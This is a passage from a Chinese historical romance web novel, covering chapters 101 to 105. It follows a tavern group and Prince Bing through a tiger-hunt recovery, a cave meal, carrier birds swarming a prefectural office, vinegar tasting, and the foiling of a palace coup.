“殿下不必惊讶,少仲辞官后酿酒作画,这酿酒所费工夫极多,他自然练得结实。”张清寒解释道。 “哦?”秉亲王半信半疑,紧接着拉着张清寒到了个犄角旮旯道,“你说你是不是有什么武林秘籍,哎呀那杜小郎君学的,我也能学的,我不怕苦的。” “殿下,这个属实没有,习武是童子功难以一蹴而就,这次少仲能从虎口脱身,我虽不知如何做的,却知他差点都小命不保了。”张清寒耐心说道,随后话音一转,“我怎么瞅着那医士也这般眼熟,像是宫里的人?” “那当然是眼熟,那是夏至啊,皇后从前的侍女,她啊随皇后进了宫,一头就扎进医术里出不来了,跟着好几位太医学习,这不五六年就出师了,现在到处行医不得了啊。”秉亲王说着说着,就开始竖大拇指。 “夏至?”张清寒思绪在脑海中回转,他似乎记得多年前秉亲王曾经求娶过皇后身边的一位侍女为妻,后求娶不成独身至今。 “是那位?”张清寒试探性问道。 秉亲王咧着嘴笑道,“是她,她啊总是不答应我,我能有什么办法,只得跟着她到处跑呗。” “他外伤虽只伤到了肩部,却气入肺腑,这才发起高热,如今之计是要护住心脉,若是再伤着心脉,这人就救不回来了。”神医夏至皱眉道。 “那现下该如何?我们身边带疏散肺气的药都已熬过给他用过了,现在只剩这虎骨虎胆虎血能勉强一用了。”赵玉雨走到跟前,关切道。 “这些虎骨虎胆是用不得的,他现下虚不受补,补多了反而气血攻心。”夏至思量片刻,紧接着从腰间取下了一布包,一打开竟是七十二根金针。 “这?”赵玉雨瞧着便怕了,这金针那么细那么尖扎在身上得多疼啊。 “我先施针看能不能保住他的心脉。”夏至捻起指尖,极其专注地施起针来。 其余人一瞧这场景都骇人得很,短短半刻钟,那杜少仲身上脑袋上全是金针,只能屏住呼吸默默退后。 “咕噜咕噜。”寂静的山洞里忽而传来了一声清脆的声音,所有人下意识地朝着声音的方向一看,就看见秉亲王和张清寒了。 肚子饿得咕噜咕噜叫的秉亲王并不想承认,眼珠子乱转就是不同众人对视,而他一旁的张清寒只好道,“吃过午饭后,未在吃过什么着实有些饿了,我们熬些汤来泡饼吃吧。” 张清寒这一提醒,众人才从担忧杜少仲的心绪中猛然抽离开,发现自己的肚子也早就饿得不行了。 乔四方从包里翻出了两三斤牛肉干,而馕饼则在赵玉雨包袱里,程六水和马陶陶捧着一堆在路上采的野蘑菇和野菜,齐齐摆在火堆前,张清寒则将杜少仲舍命带回来的两只野兔拿了过来。 “哎呦你们这真是丰盛啊。”秉亲王眼巴巴地跑过来,他侍卫们都在啃干巴巴的饼了,他一点也不想吃,饿了一天了只想吃顿热乎的。 “那您和您的侍从们等等,快叫他们别吃饼了,等我熬完这锅汤,配着汤吃可不好?”程六水笑着道,手脚麻利直接架起了大铁锅来,幸亏她带了口顶大的锅,不然还真分不了这么多人。 侍卫一听乐得都是不行,全跑过来打下手了,给兔兔脱毛的,摘蘑菇的,洗野菜的,连乔四方撕牛肉干的活都抢走了,一时间这山洞竟热闹了起来,而被火堆围着的杜少仲在金针之下,意识也渐渐醒转了起来。 “给我……留点,我……也要喝……肉汤…”杜少仲一睁眼,就微弱却坚定地断断续续说道。 第102章 要说这野蘑菇肉汤本就是就地取材,谈不上丰盛珍稀,可在这大风嗷嗷刮的雨夜有这么一碗汤,着实是能暖了所有人的心,前提是那野蘑菇都是无毒的。 “这红伞伞哪来的?陶陶捡的那些我都扔了吗?”程六水眼瞅着那红伞伞就要被撕成几片,同平菇菌子混在一起了,赶忙出言道。 “是我放的,有何不妥吗?”正在摆弄蘑菇的侍卫抬头开口问道,一看此人细皮嫩肉,定不是军中糙汉泥腿子,怕是哪家公侯的儿子来历练来了。 程六水先是手疾眼快地将那红伞伞拣了出来才道,“不知大人可否听过一首民谣,名叫红伞伞?” “这野蘑菇还有民谣?”侍卫一听倒是好 奇了,他本是太常寺卿之子赵兆平,与家中兄长不同,专爱特立独行偏偏不喜读书,只爱舞刀弄枪的,他那文官的父亲实在没了办法,才给他求来了御前侍卫的差事。 自家孩子是好孩子,就是与这家风背道而驰,那能有什么办法,只能豁出老脸求了陛下的恩典,后赵兆平又被指派给秉亲王随侍,这才辗转出现在了这黑灯瞎火的山林子里。 “自然是有,红伞伞白杆杆,吃完一起躺板板。躺板板,睡棺棺,然后一起埋山山,埋山山哭喊喊,亲朋都来吃饭饭,吃饭饭有伞伞,全村一起躺板板。”程六水呲个牙一边唱一边笑。 对面那赵兆平的脸色由白转青,再青转红,整个人都呆住了,又羞又臊恨不得让眼前这姑娘别唱了。 “我我我,我不知道的。”赵兆平赶紧放下手里的蘑菇,连碰都不敢碰了,道了声对不住就跑去给兔子脱毛去了。程六水不禁讶然而笑,仔细筛过一遍野蘑菇,确认没有什么毒蘑菇才放心下来。 这时,那肉干被大家三下五除二撕成细丝了,程六水弯着腰在自己的小包袱里翻来翻去,终于翻到一盖得严严实实的小瓶子,在柴火堆上夹着的大铁锅刺啦一声,小瓶子里金黄的菜籽油倒了个底,不一会儿就冒起了白烟,这柴火烧得就是快。 两三斤的肉丝争先恐后地下了锅,程六水拿起大铁铲有模有样地煸炒着,不知道还以为她是在酒楼后厨做什么举世名菜呢。 “好香啊,这姑娘是你带来的?做什么的?”秉亲王一直与张清寒站在一处,都磨磨唧唧半天了,就是吵着要武功秘籍,见张清寒这厮冷着一张脸望向别处,他这才跟着侧首而去。 只见方才同他交谈的姑娘,正熟练地翻起锅铲,甚至都要在柴火堆上颠勺了,那早已做好的牛肉干被她这么一炒,整个山洞都是说不出的麻辣鲜香,馋得秉亲王直流口水。 他是吃尽了山珍海味,可肚子饿的时候就是看馒头稀饭都是香得不行的,更何况是这炒牛肉呢。 “是,那个人是谁?”张清寒收敛起眼眸,平静地问了句,伸出手指向了不远处的烤兔子团伙。 “他?他叫赵兆平,太常寺卿赵大人的三子,你认识赵大人的,最老实的那个。”秉亲王不以为然道。 “多大?”张清寒略微思索又道。 “未及弱冠吧,约莫十八九,怎么你看上他了?想招他进皇城司。”秉亲王接着问道。 “十八九的年轻人。”张清寒星目寒眸直勾勾地盯着赵兆平,本该古井无波的心早就掀起了滔天巨浪,他还记得六水曾说过的话。 那时,他还不曾向六水吐露真心,酒楼清闲之时,几个姑娘便总聚在一起说说笑笑的。 “你那个卫侯长得倒是不错,就是性子不怎么样,而且甚是不尊重人,就是样子货里面囔囔踹。”程六水嗑着瓜子,边嗑边说道。 “别提了,提起他我就悔啊,怎么没早看清他的真面目,要我看以后找人得找温良敦厚的,那些什么身份权势都是虚的。”赵玉雨掰着山核桃,掰了半天也掰不开,一咬牙才弄开,还好那核桃仁完整得很,吃起来来劲。 “我喜欢能让我欺负的,我说东他不敢说西,什么都听我的。”马陶陶在一旁说着说着,小脸就红了起来。 “不仅要什么都听你的,最好啊还是个七尺八的黑脸壮汉。”赵玉雨一个劲儿地调笑着,给马陶陶逗得都抬不起头来。 马陶陶躲无可躲,只能祸水东引道,“哎呀你喜欢温良敦厚的,我喜欢听话乖巧的,那六水你喜欢什么样的?”说着便看向眼前瓜子皮都堆成山的程六水。 程六水摸着下巴那并不存在的胡子,高深莫测道,“我喜欢长得好看的。” “这么简单?这模样周正的人可不少呢,就没什么旁的了?”赵玉雨笑眯眯问道。 “旁的嘛,那就又好看又年轻,这花无百日红,自然是开得含苞待放的最好看。”程六水小嘴一张就开胡叭叭叭,她前世今生连男人的手都没牵过,哪里知道自己喜欢啥样的,不过要是明星的话,她肯定是喜欢年轻帅哥的! 可说者无心听者有意,那张清寒杵在柜台后面一动不动,本来听到六水喜欢好看的,他还在那儿暗暗庆幸,自己这副皮囊生得不算差,应是能讨六水欢心的。 但若是论及年轻,六水今岁不过十八,而他是个二十有五的人了,差了足足有七岁,她或许真的是极在意这个…… “清寒?”秉亲王唤了张清寒几声,见他都没什么反应,只能在他眼前晃起了手。 张清寒猛然从回忆中抽离来,一时间心中更是酸甜苦辣咸,如今他与六水早已心心相印,他想这些个有的没的实在瞎费工夫,可这些日子忙于赶路奔波,他许久都未与六水独处了,心下又有些惴惴不安。 谁曾想一抬头便瞧见了那十八九岁的赵兆平端着只叉在树枝上的兔子,凑到六水跟前问东问西的,这心啊瞬间就揪了起来,竟是顾不上理睬这秉亲王了,径直就走上前去。 “程姑娘,你那儿还有多的油吗?几滴就行,抹在这兔肉上烤着就更香了。”赵兆平早已没了方才的窘迫之态,安抚好心绪,大大方方地问道。 “有的,我给你倒点。”程六水刚把那牛肉丝炒得焦香焦香的,倒了两大碗水进去,滚滚火势很快就烧得肉汤咕噜咕噜,香味随着蒸腾的水汽熏馋了一众人的肚子。 “我来倒吧。”张清寒上来就拿起菜籽油的小瓶子倒在兔肉上,程六水连瓶子的边都没碰到。 “那就多谢张大人了。”赵兆平得了这菜油,转头就去烤兔子去了,这老虎逮的兔子就是不一样,个顶个的肥美。 “你怎的过来了?不去陪秉亲王闲话几句?”程六水将那野蘑菇一股脑全都倒进了肉汤里,又取出馕饼慢慢在锅旁烤着,水气浸润了馕饼,吃着就没那么干了。 她刚要拎起锅铲搅俩下,却发现那锅铲也自己长腿跑了,跑到张清寒的手里边了,正在锅里一个劲地搅和。 程六水这才正过脸来看了看张清寒,哪来的这么一张冷心冷情的脸啊?瞧着就是在闹些个别扭,只不过不知什么别扭给气成这样。 “巴巴来我这儿干活还不说话?难不成成了哑巴长工?”程六水乐得清闲,拿出自个儿的瓶瓶罐罐,倒点盐巴香料的,倒腾了半天。 “你说你是不是喜欢年轻的?”张清寒憋了半天也没憋住,连铺垫都不打,上来就哇啦哇啦全问出来了。 “啥子?”程六水差点手抖把糖当成盐倒进锅里,赶紧放下手中的调料罐,眨巴了半天眼睛都没想明白,张清寒这当不当正不正的话是啥意思。 “就那个总和你搭话的小子,你方才还给他唱歌呢,你都没给我唱过。”张清寒这回不知怎的较旁日嘴快了许多,许是有了名分,连胆子都变大了,端起了正宫审问负心汉的架势。 程六水一张圆圆脸皱得跟那烤干巴了的兔肉一样,这是又吃醋了?她愣了半天才道,“所以你是觉得那侍卫比你年轻,我定然是欢喜他,所以才给他唱歌的?”边说着,她边把取了根切成段的野菜也倒进了锅里,现下这锅里牛肉咸香菌子鲜美,野菜更添了几分天地造就的味道,引着不少人都往大铁锅这瞟啊。 就连那心脉早已护住的杜少仲都坐了起来,半靠在洞壁处眼巴巴地等着那碗菌子肉汤,哎呀自己都是病号了,是不是能喝个最大碗的啊。 结果菌子肉汤没等到,就听着有俩不甚靠谱的人在谈情说爱,杜少仲要不是被神医勒令不许乱动,他都想直接走过去听了,真有意思啊六水欢喜谁了?他那耳朵恨不得伸出半丈远去。 不止是他,连那秉亲王都揣个手跺脚,东张西望地看个不停,平生竟能见张清寒别别扭扭叽叽歪歪,这趟山林子真是没白来啊。 “我不知,但我知你喜欢年轻的。”张 清寒见程六水非但不解释,还将此番情景总结了一番,心中更是不舒服得紧,可手里的锅铲倒是没放下,极是殷勤地干活。 “我是喜欢年轻的,可我遇着了一人,这人平日里板着一张脸跟个冰块似的,实则啊心眼比针鼻儿都小,而且还老得很,比我大好几岁呢,但不知怎么的,我就是喜欢他,只喜欢他一个~”程六水笑嘻嘻地轻轻凑到张清寒耳畔道。 众人啥也没听着,只知那杀人不眨眼的张清寒差点都拿不住锅铲了。 第103章 鲜美的菌子肉汤温暖了一山洞人的肚子,烘得热乎乎湿润的馕饼掰下来一块,就着热汤吃得甭提多畅快了,而那两只肥美的兔子也切成了一块块,众人纷纷夹起来大快朵颐着。 “甚是美味,程小娘子你这汤做得可是不输御膳房啊。”秉亲王将自己碗里的汤吃得干干净净,止不住地赞赏道。 “谢过王爷谬赞了,不过是山间吃食,幸亏大家帮忙,才做得这般快。”程六水吃得比秉亲王还快,那肉汤早就没了,手中的馕饼也只剩最后一小块了,说罢了话便一口不客气地吃掉。 “谦虚甚是谦虚。”秉亲王拍了拍手,见旁人都在那儿埋头苦吃,他这才壮着胆子凑到张清寒身边,极为小声道,“你们俩?” 张清寒斜晲了他一眼,冷着脸可那嘴角的笑根本压不住道,“明知故问。” “哎呀,那我可得给你道喜了,等这京城风波平息了,喜酒可得叫上我。”秉亲王一听,顿时眉飞色舞了起来。 “那就借殿下吉言了,明日雨停了我们一行人进城修整一番,便要径直入京了。”张清寒拱手还礼道。 “这么快?那倒是也好,你在京中皇兄那也多一分保障。”秉亲王点了点头道。 “我不算什么保障,殿下的五万河东大军才是圣上的依仗。”张清寒笑道,只不过他着实是有些担忧这河东大军的,秉亲王素来不善军事,武艺骑射均是不佳,大抵是军中本就有能干的将领,这陛下才敢把这张底牌交给秉亲王。 一夜好眠,再一睁眼山洞外便是晴空万里,雨水冲刷过后的林木透着说不出的清新,这一行人浩浩荡荡就沿着官道,朝着河东城内行进而去,只不过这回是打虎勇士杜少仲坐在马车里了。 一到了秉亲王在这河东城内的府邸,离着不远便瞧见门口乌央乌央站了一圈人啊,那真是围的里三层外三层水泄不通的。 “今日是什么黄道吉日?难不成是殿下的生辰?”张清寒骑着高头大马侧首道。 “不是啊,本王是七月半的生辰,如今阳春四月,怎的河东这地还兴提前办生辰?”秉亲王也二丈和尚摸不着头脑道。 府邸门口站在最里侧之人乃是河东知府张韦之,他身穿官府头戴乌纱,年逾四十的模样,一派风度翩翩,可惜这身风度根本维持不住,那朝着他跑来的捕快从四面八方而来,将他围在这府邸门前不得动弹。 这些捕快个个哭丧着脸,就差哭天抹泪地求张知府了,“张大人啊,来了来了又来了,小的们实在是抵挡不住了。” “又来了?自昨日起,这是第几拨了?”张知府一个劲儿地叹气,扶额无奈道。 “第十二拨了,这么下去也不是办法啊,不如咱们将其驱赶吧?”身旁的小捕快心直口快道。 “禁言,那灰褐信鸟是你我能驱赶的吗?那是皇城司专门驯养的鸟,吃着皇粮呢。现下当务之急是寻着秉亲王,你们谁知殿下这几日到底去哪了?”张知府面色惨白道。 “回大人,殿下昨日晨起便走了,说是去除虎患,府里的管事说殿下昨夜未归。”另一捕快道。 “什么未归?虎患我们不是找了军士们帮忙吗?殿下是怎么牵扯进去的?那可是一方亲王啊,要是有个好歹,咱的脑袋怕是就得活动了。”张知府这下子都要站不稳了。 “殿下也是偶然听军士们提起,来了兴致便带了一队人去山林子了,那队人个个身手矫健武功高强,想来倒是没什么性命之忧,许是雨天难行路上耽搁了,说不定等会儿就回来了。”小捕快紧赶慢赶解释道。 “殿下啊你可赶紧回来吧,要不那灰褐信鸟都要在衙门安家了。”张知府嚎着,就差给上天磕一个了。 “知府大人,你今日好兴致啊,带了这么多人来我府上,难不成有什么宴席要吃?”秉亲王驾马前来,笑呵呵道。 “殿下!殿下你总算回来了!”张知府说时迟那时快就拉着秉亲王开始诉苦,“这不知怎的,皇城司的灰褐信鸟一波接一波的来,它们就在天上盘桓,盘桓累了就乌泱泱全落在衙门里了,我们是打不得骂不得,还生怕信鸟饿着,现在衙门的石板地上全是稻米。” “???”秉亲王听着听着,一脸不可置信道,“张知府,那你来找本王,是想让本王给你捉鸟?还是喂鸟?” “……都不是。”张知府被这么一问也愣了半天,缓了缓才理清思绪道,“这皇城司的鸟来这河东定是有什么章程,下官既不知是何章程,那想着殿下一定是知晓的,这才大清早过来问上一问。” “章程?”秉亲王面露难色地撇了撇嘴,随即一拍脑袋赶忙转身就朝后边跑去,那张知府一看秉亲王要跑,他也怕了他也跟着跑,这大街上就看一群捕快追着河东的父母官,而这父母官追着前面一呜呜渣渣的亲王。 “清寒清寒!快,你的老行当来了。”秉亲王紧赶慢赶来到张清寒跟前,这厮正不紧不慢地在马上坐着,马儿悠悠哉哉地闲庭漫步,倒也不能怪他,后面马车里的杜少仲是颠簸不得的,只能慢慢走。 张清寒面容平静地听着秉亲王和张知府将这来龙去脉一一说清,这才微微笑道,“知府大人莫急,一般这灰褐信鸟都是送了信就走的,若是一直盘桓在此处,那便是没寻到要收信的人。” 忽而他又停顿了下道,“只不过要说这河东城里的人,谁能令皇城司派出这十二拨上百只信鸟的,想必不是知府大人就是殿下您了。” “定然不是下官啊,下官昨日整整一天都在衙门里处理公务,那鸟儿都不带搭理我的。”张知府赶紧摆摆手,直接撇清了嫌疑。 “我?那倒是也有些可能,可……”秉亲王欲言又止道,若是皇兄派来出兵援助京城的信,也该直接传入军中,怎会落在衙门处呢?况且这时间算起来早了点吧?京中那洪林党这么快就动手了? “那我便随你去衙门一看吧。”秉亲王思索片刻才道,然后他就眼瞅着这张清寒跟个没事人儿一样,起身就要上马走了,不知为何秉亲王的手有点痒,很想打张清寒两下。 “清寒,你要不也同我们走一趟?你和那些鸟熟。”所幸秉亲王忍住了手痒,撇着嘴道。 “……也行。”张清寒是有些不想去的,酒楼一行人还需在此处修整静养,昨夜吃光的盘缠都得再买些,那少仲的身子也得再养养,一堆事等着做。可这是河东府,人在屋檐下还是给知府大人一个面子吧。 这秉亲王的府邸离着衙门并不远,衙门本该是大门敞开的,今日却紧紧闭着,四周鸦雀无声很是令人心惊。 “吱呀”张知府推开了大门的一小角,秉亲王朝里面瞥了一眼,好家伙这哪里是衙门,都成了皇兄宫里的百禽园了。 “殿下请。”张知府率先从那一小角走了进来,小心翼翼挪动着脚步,生怕踩着碰着这信鸟。 秉亲王生无可恋地只能紧随其后,而他的手紧紧抓住了身后的张清寒,生怕这滑不溜手的小子一转身就跑了,他那皇兄都差点留不住他,自己怕是更留不住。 张清寒瞅着这些信鸟十分心平气和,都是他一一驯养的,灰褐皮毛最易隐藏,体型不大灵活轻巧,又耐力极强,实在是做信鸟再合适不过了。 于是这三人齐齐进了衙门,衙门大门应声又关上了,惊醒了这些百无聊赖找不着人的鸟儿,这些鸟儿睁着一双黑豆眼,左看右看忽然就爆发出了惊人的力量,一个跃起就翱翔在空中,齐刷刷地冲向了三人的方向,一个个跟毛茸茸圆滚滚的团子一样。 “我的个老天爷啊!张清寒你快管管你的鸟。”秉亲王吓得在地上就是一呲溜,连滚带爬地就朝着反方向跑去,在这衙门里开始跑圈。 “原来殿下怕鸟啊……”正在幸灾乐祸的张清寒也没占到什么便宜,话都没说完就被上百只毛茸茸团子砸在地上了。 幸亏张清寒练武之人皮糙肉厚,要不然换成旁人都得青一块紫一块的,“你们都吃什么了,怎么这么重?”他无力地躺在地上问道。 叽叽喳喳的鸟叫声此起彼伏地在他耳边响起,一刻都不带停的,早已跑到院子对面的秉亲王,叉着腰大笑起来道,“张清寒你也有今日啊哈哈哈哈哈。”就差笑得前仰后合直不起腰来了。 张清寒无奈地抿起嘴来,伸手揪住了一只肥啾,取下那密信,一下子上百只鸟翩然起飞,不再纠缠张清寒。 这些信鸟还十分有秩序,十二队一队十只,排排站站好,一队飞了出去,下一队等上一炷 香的功夫再飞,那还没香球大的小脑袋瓜十分懂得隐匿踪迹。 张清寒这才打开了那密信,一看信中内容,他瞬间拔地而起站直了。 第104章 “展信如晤,吾上封信忘一语,河东有吾弟,望卿助其一二,保吾大宅子再挺几载。——如如留。” 张清寒翻来覆去看了好几遍,无可奈何地笑道,他这才明了为何陛下放心派军事四六不通的秉亲王来,原是在这儿等着他呢。如今朝堂内,大半数武将均在边疆,就连那萧墨在京中也未待多久便回了漠北。 “所以这鸟都是来寻你的?”秉亲王脸上笑出的红晕还没散去,看着皇兄的密信道。 “是的,它们应是先去江陵寻我,寻我不得,陛下依着猜测,又派出信鸟北上河东,这才寻到我。”张清寒点了点头道。 “那不是正好,你小子就在河东陪我吧,正好我在这儿待得也没趣得很。”秉亲王咧着嘴,拍着张清寒的肩膀大声笑道。 一旁的张知府倒是无暇听这二位说这许多,他正在那儿写公文,一州府琐事繁杂,一日不处理便积压了不少。更何况他现下手头也有件急差事,听说那虎患被一位力大无穷的壮士除了,张知府可不得赶紧给这位壮士封个“打虎勇士”的称号,只不过壮士叫杜少仲?名字倒是有些耳熟,应不是那杜尚书之子吧?那位可是翰林出身,哪来的力大无穷? 张知府办事办得极快,不一会儿封赏的公文银钱锦旗都准备好了,张清寒揣着这些就随秉亲王回了王府。 一进王府后院,就听一阵欢声笑语,那“打虎勇士”杜少仲正坐在轮椅上,笑得花枝乱颤哪里有昨夜病危的样子。再仔细一瞧,原是这乔四方,程六水,赵玉雨还有马陶陶四人在树荫石桌处打起了叶子牌,而杜少仲仗着自己做轮椅,跑来跑去四家牌全看遍了。 “哈哈哈哈,六水你怎么又炸胡了?”杜少仲边笑边扶着左肩,生怕给自己伤口笑崩了。 “我?我又炸胡了?我哪里炸胡了,不是三三三三二吗?一共十四张牌,我一个也没少啊。”程六水惊恐地看着自己已经推到的牌,天爷啊她兜里那点藏的炒瓜子怕是要都输光了。 “你是一张都没少,但你没开门啊。”赵玉雨憋不住乐道,她在深宅大院待久了,这叶子牌她算不上多会,可起码不会炸胡。 “啥叫开门?”程六水委屈巴巴问道,捂着自己的小布袋就是不放手。 “就是吃或者碰,你刚学没多久,炸胡很正常的,日后多打打就好了。”张清寒上前挑出几张牌说道。 “呜呜呜清寒,你可算来了,再不来我的炒瓜子就全没了。”程六水一把鼻涕一把泪的,天可怜见的,不知道的以为是受了天大的委屈呢。 “好了好了,炒瓜子吃没了,就在这儿再炒一锅,反正现下也不急着走了。”张清寒心疼地拉着六水的手,瞧这可怜兮兮的模样,他这心都要化了。 “不急着走了?啥子意思?”程六水一听这话,瞬间恢复了正常,哭都不哭了,连小手都从张清寒手里薅出来了。 “……我要留下在河东军中驻守一段时日,正好少仲的伤还重着,趁此机会多加休养,莫落下什么病根。”张清寒看着眼前连可怜都不装的六水,牙根磨得直痒痒道。 “什么?那我不就不能给我父亲看我这伤了吗?到时候我的英明事迹还怎么流传?”杜少仲一听就收回了呲起的大牙,立着眼睛道。 “啧啧啧虚荣!忒虚荣!是你的英明事迹流传重要?还是身体重要?”马陶陶撇了撇嘴道,她面不改色心不跳,实则在偷偷看自己的牌,其实她刚才也想胡牌来着,被六水抢了先。 但她也没开门啊!她不会也差点炸胡吧!这嘴上话说着,小眼睛一个劲儿地开始对自己和六水的牌。 “那自然还是身体重要。”杜少仲泄了气般道。 “行了,方才殿下让张知府给你封了“打虎勇士”的封号,你看这官府的公文上写的明明白白的,到时候到了京中,还不由得你说吗?”张清寒不禁一笑。 “好好好,这个好!”杜少仲激动地要从轮椅上站起来,可这左肩又是一阵剧痛,还没起来就“啪叽”坐了回去。 不远处走来的秉亲王见这一行人卖乖装痴,一会儿悲一会儿喜的,忽而有些明白为何张清寒愿舍了朝中权势富贵,去做那悠然南山翁。 权势富贵如青云登梯般难得,祖宗基业费尽心思方能光大,苦难磨砺自不必说,更要步步为营事事小心,棋差一着便无力回天,然到头来又能剩下什么?莫不如寻一方天地,如此悠然自得的活着。 这世间鸿福易得,清福难享,活得有些年岁了,方知此理。 “哎呀你们打牌也带我一个啊,我来我来,我最会炸胡了!”秉亲王回到自家府邸早没了那些个规矩,一蹦三丈高地过来享清福喽。 这些时日,张清寒总是天不亮就拉着秉亲王去那河东军营里,而程六水则先是拉着赵玉雨和马陶陶,好好将这河东逛上一逛,此处位于中原腹地,饮食习惯与江陵有着不少差异。 就单拎出来一个醋,便有着天壤之别。江陵的醋多为清醋,色透微酸炒菜出锅淋上一边,鲜香得不行,若是用来拌菜更好,酸而不涩清而不腻,好吃得紧。 可河东的醋却是大有讲究,不单纯是做饭提香用的,什么红枣醋枸杞醋柿子醋,个顶个的好喝,是的河东的醋不仅能用来做饭,还能直接喝。 程六水穿越前便听说过有些地方的醋回味甘甜,陈酿一年两年三年,竟是能直接饮用,可惜她一直疲于奔命囊中羞涩,不能去当地品鉴。 不曾想穿越一回,竟得来了这么一个好机会,本是要来采买些肉干干粮的,结果这姐妹三人先在醋摊子挪不动地方了,喝得那是连连称奇连连赞美,半个时辰过去拎着七八个醋罐子走了。 而正在房中名为静养,实为画画的杜少仲,一见这几人拎着一堆醋回来又是好一顿儿笑,都给本应照顾杜少仲,其实早就在摇椅上睡着的乔四方惊醒了。 于是这五人一人一杯醋,津津有味地品鉴着杜少仲的大作——竹林泉水图。 “少仲你虽是受伤了,但定亏你伤得是左肩,右手还能作画,这画得真是不错,竹子是竹子,水是水的。”乔四方喝了一杯林檎果醋,酸酸甜甜哎呀真好喝啊。 “行了,你喝醋吧,换个人来点评。”杜少仲抿嘴不满道。 “我觉着吧,你这画我说不出来哪好看,但就是瞧着舒坦,比之我在卫侯府上见过的那些更为出众,一看心里就敞亮。”赵玉雨瞅了半天,这才点了点头道。 “你看看,玉雨是明白人啊,那卫侯也不懂字画,别人说好他就买,我虽自认比不上那些传世名家,但绝对比卫侯买的那些字画好上不少。”杜少仲这下子尾巴都要翘上天了,就差飞起来了。 “是,你为了这画费了不少功夫,还捞着个打虎勇士的称号。”程六水咧着嘴调笑着。 “你你你,嘘!别和别人说,尤其进了京更不能说。”杜少仲赶紧竖起食指,小声道。 “为何不能说,你虽是受了伤,但现下有了称号,又有了这画,算得上塞翁失马焉知非福啊。”马陶陶疑问道。 “旁人知道倒是无妨,我就怕传到我父亲耳中,他要是知道我为了画画,差点命丧虎口,肯定拎着戒尺满府追着我打。”杜少仲胆战心惊道,这事就跟他当初为了酿酒,放弃做官一样,半点都讨不着好啊。 “放心吧,我们不说。”张清寒不知何时从军营归来,一边笑一边说道,“你这画着实不错,笔触精细栩栩如生,意境竟也深远了几分,算得上是一幅佳作了。” “那当然了,我画的 那能差吗!“杜少仲这下子开开心心地喝枸杞醋了。 “你们这都喝得是什么?”张清寒看着人手一杯,不禁问道。 “我们喝得是河东特有的果醋啊,我还专门给你带了一瓶呢。”程六水笑得都眯起眼睛了,从身后变出了一大罐醋,“这可是山楂醋哦,是最酸的果醋,最适合你啦~” 第105章 战鼓擂响,一支穿云箭惊起万里波涛,三千河东军早已整装待发,在这伸手不见五指的黑夜里,悄悄隐匿在京城郊外,只待一声令下便策马而去,冲开那京师的大门。 而其余万数大军于侧翼而来,缓缓包抄着整个京师,可惜城内的洪林党叛军对此一无所知,他们只知打开皇宫大门,挟持天子以令诸侯,便可接天道之名清君侧,将那妖后一党拔根而起,至于之后这皇帝换谁做,那还不是洪林党说了算,先帝年幼的十六子生母早逝,聪慧机敏沉稳持重,正适合承继大统。 那禁军王统领双手双脚紧紧帮起,只能跪倒在地,声嘶力竭地喊道,“你们这群乱军贼子是不会有好下场的,今日你们篡陛下的位,你们以为江山就能坐稳吗?” 这位王统领是当今陛下一手提拔上来的,对陛下极为忠心耿耿,但他手下几个副将却不是省油的灯,一看有机会取王统领而代之,还能有那从龙之功,竟公然谋逆绑了上司,大开皇宫之门。 “你这等人,还不配同我讲话。”洪林党为首的右相戚佐方,一个眼神都没给王统领,策马便率一众兵士冲进了皇宫,这些兵士大半是京中兵马司的,自然也有些府邸府兵,林林总总小三千,声势不可谓不浩大。 而太和殿里,缕缕龙涎香缓缓溢出,成堆奏折摆的到处都是,身着明黄龙袍的天子执一朱笔,边看奏折边皱眉道,“你说说这个戚右相造反就造反嘛,造反就不管政事了吗?就不帮朕看看奏折了?你看看这奏折写的,儋州送了三个大芒果子,五个菠萝蜜。” “那也不耽误陛下的朱批啊。”谢皇后正在那儿慢悠悠地擦刀,这刀一看就快得很,见血封喉不在话下。她眼神瞥向天子奏折的朱批上,赫然写着,“爱卿于感念朕,朕知,望爱卿多加保重。” “哎呀,今岁是罗知州赴任儋州的头一年,儋州那地方湿雾瘴气的,他也是不容易的。”天子咧开嘴笑着辩解道。 “是啊,这天下哪有容易的事呢?那清寒在江陵待得好好的,就被你假模假式地革了职,现下又在替你带兵支援。十弟也是,明明连三脚猫功夫都不会,还得在军中帮你这个皇兄守着,还有我,你看看我这刀都快磨薄了,那磨磨蹭蹭的戚老贼才刚打开皇宫大门。”谢皇后撇了撇嘴,说这话便状似柔弱地靠在皇帝的身上,只不过手里的大刀锃锃发亮。 “戚右相终于打开门了?太好了太好了,如今什么时辰了?”皇帝一手轻轻揽着谢皇后,一手还不忘继续批奏折道。 “亥时三刻。”谢皇后百无聊赖地正在给大刀换刀穗,现在这个妃色的不好看,她要换个朱红的,这样才霸气。 “噼里啪啦哗啦啦”宫外混乱的声响终于传来,兵士们在皇宫禁地与今夜当值的禁军厮杀起来,然而这场厮杀并不是那么容易的,今夜皇宫驻守的除了精锐禁军,还有皇城司的几百名武林高手。 一时间场面极为血腥,这两波人遇上也算是势均力敌,一波以人多为优势,另一波则是实打实的精兵强将。 而身披铠甲的张清寒则策马疾奔而来,他身后是那河东的三千先锋,这三千人顺着早已被打开的宫城大门,一拥而入,一时间与宫中的禁军死死包围住了那造反的洪林党叛军。 戚右相一见宫中竟出现了皇城司的人,便惊觉不好,他大抵是中了那皇帝的计,皇城司大多人虽听命于皇帝,可这些武功高强的江湖高手却是那位前皇城司使张清寒在管的,他们只听张清寒的话。 张清寒已被罢官,他们若还是出现在这里,那便只有一种可能,这罢官是假的,既然罢官是假的,那么他所见的一切怕都是假的了。 戚右相不禁心下惘然,却也迅速定下心神,率着亲信就要从那宫中的角门杀出去,结果没跑几步,一抬头便动不了了。 “右相大人,如此着急是要去何处啊?”张清寒拎着缰绳,坐于高马之上,微微浅笑道。 他身后则是先帝的六皇子和十六皇子,两位皇子均被绑在马背上,十六皇子是戚右相内定的下任天子,而这六皇子则是整个洪林党背后的掌权人,只不过洪林党大多数人不知道罢了,自然那位御膳房出身的钱三才钱大人也不知道,他还以为除掉了谢皇后,能彻底还政与李氏江山,还政于陛下呢。 六皇子,敌国公主所出的庶皇子,大乾的江山无论如何也轮不到他来做,先皇在时他没有机会,如今的天子是他的弟弟,只要扳倒了他的这位好弟弟,再扶持随便哪个毛还长齐的小皇子,这摄政王他来当,这大乾的天下他来坐。 戚右相再沉得住气的心性,也压不住心中的悲从中来,见了这血面阎罗便什么都完了,再无回天之力了。 